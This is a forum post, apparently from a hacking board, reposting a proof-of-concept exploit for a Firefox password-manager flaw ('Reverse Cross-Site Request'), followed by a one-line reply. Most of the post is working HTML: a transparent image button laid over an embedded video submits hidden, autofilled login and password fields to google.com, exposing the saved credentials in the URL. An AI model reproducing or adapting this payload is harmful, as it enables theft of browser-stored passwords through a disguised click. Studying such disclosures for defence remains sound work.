Mozilla Firefox <= 1.5.0.8 / 2.0 Reverse Cross-Site Reque

[zbeng]

<!--

Below is an example of user-contributed HTML.

Clicking on the video will cause your password to be transmitted to Google.

Look at the address bar when you arrive at Google.

-->

<param name="movie" value="http://www.youtube.com/watch?v=kF786Qucn4Y&autoplay=1" />

<param name="wmode" value="transparent" />

<embed src="http://www.youtube.com/watch?v=kF786Qucn4Y&autoplay=1"

type="application/x-shockwave-flash" wmode="transparent" width="425px"

height="370px" style="position: absolute; top: 445px; left: 220px;" />

<form action="http://www.google.com/search" method="get">

<input type="hidden" name="q" value="Chapin Information Services">

<input type="text" name="loginuser" style="display: none;" /><input

type="password" name="loginpass" style="display: none;" />

<input type="image" value="" src="/news/11-21-2006/1" style="width: 440px; height: 370px;

border: 1px; position: absolute; top: 435px; left: 220px; display: block;"/>

</form>

[4n4rchyl04d3r]

now thats a damn!!